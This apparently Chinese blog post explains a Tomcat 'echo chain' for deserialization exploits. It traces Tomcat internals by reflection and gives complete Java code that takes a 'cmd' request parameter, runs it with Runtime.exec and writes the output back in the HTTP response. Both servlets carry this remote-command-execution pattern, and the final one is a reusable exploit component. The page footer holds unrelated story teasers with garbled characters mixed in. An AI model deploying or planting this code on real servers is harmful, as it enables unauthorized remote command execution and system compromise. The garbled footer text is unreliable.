tomcat回顯鏈

Demo

package com.naihe;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.BufferedInputStream;

import java.io.IOException;

import java.io.InputStream;

@WebServlet("/cmd")

public class tomcat extends HttpServlet {

? ? @Override

? ? protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {

? ? ? ? String cmd = req.getParameter("cmd");

? ? ? ? InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();

? ? ? ? BufferedInputStream bis = new BufferedInputStream(is);

? ? ? ? int len;

? ? ? ? while ((len = bis.read())!=-1){

? ? ? ? ? ? resp.getWriter().write(len);

? ? ? ? }

? ? }

? ? @Override

? ? protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

? ? ? ? this.doGet(req,resp);

? ? }

}

當(dāng)看到這里應(yīng)該會(huì)有人回想,就這?不就是servlet加命令執(zhí)行么谣旁,確實(shí)如此忍宋,但本文主要討論的是在反序列化的情況下,如何進(jìn)行數(shù)據(jù)回顯榄棵,因?yàn)樵诜葱蛄谢┒粗袩o法直接調(diào)用HttpServletRequest和HttpServletResponse,只能通過反射獲取Request和Response中的內(nèi)容,上面的代碼只是為了方便我們?nèi)ネ诰蚝头治鯮equest和Response的傳遞過程胯努,分析出一條回顯鏈

這里的@WebServlet("/cmd")需要開注解路由,在web.xml配置如下

<?xml version="1.0" encoding="UTF-8"?><web-appxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://xmlns.jcp.org/xml/ns/javaee"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"id="WebApp_ID"metadata-complete="false"version="4.0"><!-- metadata-complete取值為true,表示關(guān)閉注解支持 --><!-- metadata-complete取值為false逢防,表示啟用注解支持 --></web-app>

分析流程

直接再index.jsp上下斷點(diǎn)

可以看到Http11Processor中已經(jīng)包含了request和response叶沛,可知道,再前面已經(jīng)有其他類處理過了request和response將其內(nèi)容傳給Http11Processor忘朝,因此我們往前看Http11Processor內(nèi)容從何而來

AbstractProcessorLight.process

AbstractProtocol$ConnectionHandler

在這里查看processor內(nèi)容

現(xiàn)在我們看是processor是怎么賦值的

AbstractProtocol$ConnectionHandler

進(jìn)入register方法

register方法大概就是生成一個(gè)RequestInfo對(duì)象然后再里面填充內(nèi)容

這里我們看一下this.global是什么

可以看到是一個(gè)RequestGroupInfo類

進(jìn)入RequestGroupInfo灰署,可以看到有個(gè)processors,是存儲(chǔ)RequestInfo對(duì)象得列表局嘁,接下來看看RequestInfo是什么

進(jìn)入RequestInfo溉箕,發(fā)現(xiàn)里面有個(gè)Request,這是我們想要得那個(gè)Request么导狡,跟進(jìn)去看看

進(jìn)入Request约巷,發(fā)現(xiàn)居然沒有繼承HttpServletResponse,那這應(yīng)該就不是我們要找的Request旱捧,那開發(fā)者不可能取一個(gè)完全沒有關(guān)系得類名吧独郎,這豈不是讓其他程序員天天坐牢啊

通過網(wǎng)上得資料了解到這個(gè)Requests會(huì)調(diào)用getNote方法返回一個(gè)繼承至 HttpServletResponse的Response類

這就是我們要的Response類

接下來我們分析setGlobalProcessor

就是把生成的自己添加到RequestInfo中

RequestInfo

上面如何獲得Request已經(jīng)分析完了,接下來我們分析如何讓java加載上面的數(shù)據(jù)

我們只需要找到一個(gè)類會(huì)被tomcat自動(dòng)加載

在tomcat源碼中可以看到會(huì)調(diào)用service.addConnector枚赡,很明顯會(huì)用到connector

進(jìn)入Connector氓癌,可以發(fā)現(xiàn)ProtocolHandler里面存儲(chǔ)的是Http11NioProtocol

下面就是一下繼承關(guān)系

可以看到最終Http11NioProtocol還是繼承自AbstractProtocol

這樣一來就可以通過ProtocolHandler來存放我們之前的信息了

service只是一個(gè)接口,而StandardService才是其實(shí)現(xiàn)類贫橙,所以說service就是StandardService

因此我們只需要要獲取StandardService就行了

而StandardService可以從WebappClassLoaderBase上下文類加載器中間接獲取獲取

WebappClassLoaderBase只能獲取StandardContext贪婉,而回顯入口為StandardService,因此我們需要使用ApplicationContext將其封裝一遍卢肃,在進(jìn)而獲取StandardService

構(gòu)造方法

standardService為Service的實(shí)現(xiàn)類

總結(jié)

回顯鏈

package com.naihe;

import org.apache.catalina.connector.Connector;

import org.apache.catalina.core.ApplicationContext;

import org.apache.catalina.core.StandardContext;

import org.apache.catalina.core.StandardService;

import org.apache.catalina.loader.WebappClassLoaderBase;

import org.apache.coyote.Request;

import org.apache.coyote.RequestGroupInfo;

import org.apache.coyote.RequestInfo;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.BufferedInputStream;

import java.io.IOException;

import java.io.InputStream;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.List;

@WebServlet("/demo")

public class test extends HttpServlet {

? ? @Override

? ? protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

? ? ? ? org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

? ? ? ? org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

? ? ? ? try {

? ? ? ? ? ? Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");

? ? ? ? ? ? context.setAccessible(true);

? ? ? ? ? ? ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);


? ? ? ? ? ? Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");

? ? ? ? ? ? service.setAccessible(true);

? ? ? ? ? ? org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);


? ? ? ? ? ? Field connectors = standardService.getClass().getDeclaredField("connectors");

? ? ? ? ? ? connectors.setAccessible(true);

? ? ? ? ? ? Connector[] connector = (Connector[]) connectors.get(standardService);


? ? ? ? ? ? Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");

? ? ? ? ? ? protocolHandler.setAccessible(true);


? ? ? ? ? ? Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();


? ? ? ? ? ? for (Class<?> declaredClass : declaredClasses) {

? ? ? ? ? ? ? ? if (declaredClass.getName().length()==52){


? ? ? ? ? ? ? ? ? ? java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);

? ? ? ? ? ? ? ? ? ? getHandler.setAccessible(true);


? ? ? ? ? ? ? ? ? ? Field global = declaredClass.getDeclaredField("global");

? ? ? ? ? ? ? ? ? ? global.setAccessible(true);

? ? ? ? ? ? ? ? ? ? org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

? ? ? ? ? ? ? ? ? ? Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");

? ? ? ? ? ? ? ? ? ? processors.setAccessible(true);

? ? ? ? ? ? ? ? ? ? java.util.List<org.apache.coyote.RequestInfo>? requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);

? ? ? ? ? ? ? ? ? ? Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");

? ? ? ? ? ? ? ? ? ? req1.setAccessible(true);

? ? ? ? ? ? ? ? ? ? for (RequestInfo info : requestInfo) {

? ? ? ? ? ? ? ? ? ? ? ? org.apache.coyote.Request request = (Request) req1.get(info);

? ? ? ? ? ? ? ? ? ? ? ? org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);


? ? ? ? ? ? ? ? ? ? ? ? org.apache.catalina.connector.Response response = request1.getResponse();

? ? ? ? ? ? ? ? ? ? ? ? String cmd = request1.getParameter("cmd");

? ? ? ? ? ? ? ? ? ? ? ? InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();

? ? ? ? ? ? ? ? ? ? ? ? BufferedInputStream bis = new BufferedInputStream(is);

? ? ? ? ? ? ? ? ? ? ? ? int len;

? ? ? ? ? ? ? ? ? ? ? ? while ((len = bis.read())!=-1){

? ? ? ? ? ? ? ? ? ? ? ? ? ? response.getWriter().write(len);

? ? ? ? ? ? ? ? ? ? ? ? }

? ? ? ? ? ? ? ? ? ? }

? ? ? ? ? ? ? ? }

? ? ? ? ? ? }

? ? ? ? } catch (NoSuchFieldException e) {

? ? ? ? ? ? e.printStackTrace();

? ? ? ? } catch (IllegalAccessException | ClassNotFoundException e) {

? ? ? ? ? ? e.printStackTrace();

? ? ? ? } catch (NoSuchMethodException e) {

? ? ? ? ? ? e.printStackTrace();

? ? ? ? } catch (InvocationTargetException e) {

? ? ? ? ? ? e.printStackTrace();

? ? ? ? }

? ? }

? ? @Override

? ? protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

? ? ? ? this.doGet(req, resp);

? ? }

}

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末疲迂,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子莫湘,更是在濱河造成了極大的恐慌尤蒿,老刑警劉巖,帶你破解...
    沈念sama閱讀 221,695評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件幅垮,死亡現(xiàn)場(chǎng)離奇詭異腰池,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,569評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門示弓,熙熙樓的掌柜王于貴愁眉苦臉地迎上來讳侨,“玉大人,你說我怎么就攤上這事奏属】缈纾” “怎么了?”我有些...
    開封第一講書人閱讀 168,130評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵拍皮,是天一觀的道長(zhǎng)歹叮。 經(jīng)常有香客問我,道長(zhǎng)铆帽,這世上最難降的妖魔是什么咆耿? 我笑而不...
    開封第一講書人閱讀 59,648評(píng)論 1 297
  • 正文 為了忘掉前任,我火速辦了婚禮爹橱,結(jié)果婚禮上萨螺,老公的妹妹穿的比我還像新娘。我一直安慰自己愧驱,他們只是感情好慰技,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,655評(píng)論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著组砚,像睡著了一般吻商。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上糟红,一...
    開封第一講書人閱讀 52,268評(píng)論 1 309
  • 那天艾帐,我揣著相機(jī)與錄音,去河邊找鬼盆偿。 笑死柒爸,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的事扭。 我是一名探鬼主播捎稚,決...
    沈念sama閱讀 40,835評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼求橄!你這毒婦竟也來了今野?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,740評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤罐农,失蹤者是張志新(化名)和其女友劉穎腥泥,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體啃匿,經(jīng)...
    沈念sama閱讀 46,286評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,375評(píng)論 3 340
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了溯乒。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片夹厌。...
    茶點(diǎn)故事閱讀 40,505評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖裆悄,靈堂內(nèi)的尸體忽然破棺而出矛纹,到底是詐尸還是另有隱情,我是刑警寧澤光稼,帶...
    沈念sama閱讀 36,185評(píng)論 5 350
  • 正文 年R本政府宣布或南,位于F島的核電站,受9級(jí)特大地震影響艾君,放射性物質(zhì)發(fā)生泄漏采够。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,873評(píng)論 3 333
  • 文/蒙蒙 一冰垄、第九天 我趴在偏房一處隱蔽的房頂上張望蹬癌。 院中可真熱鬧,春花似錦虹茶、人聲如沸逝薪。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,357評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)董济。三九已至,卻和暖如春要门,著一層夾襖步出監(jiān)牢的瞬間虏肾,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,466評(píng)論 1 272
  • 我被黑心中介騙來泰國(guó)打工暂衡, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留询微,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,921評(píng)論 3 376
  • 正文 我出身青樓狂巢,卻偏偏與公主長(zhǎng)得像撑毛,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子唧领,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,515評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容